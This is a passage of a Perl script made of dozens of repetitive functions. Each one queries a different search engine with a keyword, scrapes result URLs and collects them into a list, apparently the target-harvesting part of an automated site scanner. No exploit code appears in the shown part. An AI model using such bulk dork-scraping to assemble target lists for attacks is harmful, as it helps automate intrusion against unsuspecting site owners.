    return @list;
}

sub yahooHK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://HK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooHK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooID() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooID/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooIN() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooIN/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooAU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooAU/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooMX() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooMX/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooTW() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooTW/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooBR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooBR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooAR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooAR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooNL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooNL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooDK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooDK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooPH() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooPH/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooCL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooRU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooRU/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooCH() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCH/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooCO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooFI() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooFI/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooRO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooRO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooVE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooVE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooAT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooAT/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooPL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooPL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooKR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooKR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooNZ() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooNZ/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooGR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooGR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooPE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooPE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub altavista() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10){
        my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
        my $res = &search_engine_query($search);
		if ($res !~ /target=\"_self\">Succ/) {$i=500;}
        while ($res =~ m/<span class=ngrn>(.+?)\//g) {
            if ($1 !~ /altavista/){
            my $link = $1;
                $link =~ s/<//g;
                $link =~ s/ //g;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ask() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=50; $i+=1) {
        my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
        my $res = &search_engine_query($search);
		if ($res !~ /Successiva/) {$i=50;}
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
            if ($1 !~ /ask\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahoo(){
    my @list;
	my $key = $_[0];
    my $b   = 0;
	for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            if ($1 !~ /yahoo\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub clusty() {
    my @list;
	my $key = $_[0];
    my $b   = 0;
	for ($b=10; $b<=500; $b+=10) {
        my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
        my $res = &search_engine_query($search);
		if ($res !~ /next/) {$b=500;}
        while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
            if ($1 !~ /yippy\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub gutser() {
    my @list;
    my $key = $_[0];
    for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
        my $res = &search_engine_query($search);
        while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
            if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bypass() {
		my @list;
		my $key = $_[0];
        my $search = ($bypass."?key=".&key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
#  		while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
            if ($link !~ /google/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub google2() {
  my @list;
  my $key = $_[0];
  my $b	  = 0;
  my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
    for ($b=1; $b<=200; $b+=10) {
        my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            if ($1 !~ /google/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    } return @list;
}
}

sub exalead() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=1000; $b+=100) {
        my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
        my $res = &search_engine_query($search);
		if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
        while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link!~ /exalead/){
                my @grep = &links($link);
                push(@list,@grep);
            }
            }
        }
    return @list;	
}	

sub lycos() { 
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
            if ($1 !~ /lycos\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;	
}	

sub virgilio() {
  my @list;
  my $key = $_[0];
    for ($b=10; $b<=500; $b+=10) {
        my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
        my $res = &search_engine_query($search);
		if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
		if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
            if ($1 !~ /\.virgilio\.it/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;	
}	

sub webde() {
  my @list;
  my $key = $_[0];
    for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://navigationshilfe.t-online.de/dtag/dns/results?mode=search_top&q=".&key($key)."&page=".$b."");
        my $res = &search_engine_query($search);
		if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
        while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
            my $link = $1;
            if ($link!~ /suche|web/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;	
}	

sub hotbot() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
        my $res = &search_engine_query($search);
		if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /hotbot\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;	
}	

sub aol() {
  my @list;
  my $key = $_[0];
    for ($b=2; $b<=50; $b+=1) {
        my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
            if ($1 !~ /aol\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;	
}

sub sapo(){
    my @list;
	my $key = $_[0];
	for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
        my $res = &search_engine_query($search);
		if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            if ($1 !~ /\.sapo\.pt/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub duck() {
	my @list;
	my $key = $_[0];
    my $b   = 0;
	for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
        my $res = &search_engine_query($search);
		if ($res =~ m/No more results/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /duckduckgo/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub lygo() {
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
        my $res = &search_engine_query($search);
		if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
            if ($1 !~ /hotbot\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yause() {
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
        my $res = &search_engine_query($search);
		if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
            if ($1 !~ /yauba\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub baidu() {
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=0; $b<=500; $b+=10) {
        my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/\" href=\"http:\/\/(.*?)\"  target=/g) {
            if ($1 !~ /baidu\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub kipot() {
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
            if ($1 !~ /qkport\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub gibla() { #mati#
	my @list;
	my $key = $_[0];
	my $hal = "/search?q=".&key($key);
        my $search = ("http://www.gigablast.com".$hal);
        my $res = &search_engine_query($search);
	while ($res =~ m/Next 10 Results/) {
        $search = ("http://www.gigablast.com".$hal);
        while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
            my $link = $1;
            my @grep = &links($link);
            push(@list,@grep);
		} 
	if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
	$res = &search_engine_query($search);
	}return @list;
}

sub black() {
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
		my $cek = $b+1;
        my $res = &search_engine_query($search);
		if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
        while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /blekko/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub onet() { 
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /webcache|query/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub sizuka() {
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=10; $b<=100; $b+=10) {
        my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /szukacz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub walla() { 
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /walla\.co\.il/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub demos() { 
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=0; $b<=500; $b+=10) {
        my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /search|dmoz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub rose() {
  my @list;
  my $key = $_[0];
  my $b	  = 0;
  my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
    for ($b=0; $b<=30; $b+=10) {
        my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
            if ($1 !~ /euroseek/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
}return @list;
}

sub seznam() { 
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
            if ($1 !~ /seznam/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub tiscali() { 
	my @list;
	my $key = $_[0];
	for ($b=0; $b<=500; $b+=10) {
        my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
            if ($1 !~ /tiscali/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub naver() { 
	my @list;
	my $key = $_[0];
	for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /naver/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub doogate(){
    my @list;
    my $key = $_[0];
    my $i   = 0;
    for ($i=0; $i<=1000; $i+=100){
        my $web=("http://www.doogate.com/search?q=".key($key)."&start=".$i);
        my $Res= search_engine_query($web);
        while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){

            if ($1 !~ /doogate/){
                my $k=$1;
                my @grep=links($k);
                push(@list,@grep);
            }
        }
    }
return @list;
}

sub sogou() {
    my @list;
    my $key = $_[0];
    for (my $b=1; $b<=1000; $b+=10){
        my $search = ("http://www.sogou.com/web?query=".&key($key)."&page=".$b."&p=40040100&dp=1&w=01019900&dr=1&_asf=www.sogou.com&_ast=1313253760");
        my $res = search_engine_query($search);
        while ($res =~ m/<a name="dttl" target="_blank" href="http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link !~ /sogou/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub interia() {
    my @list;
    my $key = $_[0];
    for ($b = 0;$b<= 100; $b+= 10) {
           my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$b);
           my $res = search_engine_query($search);
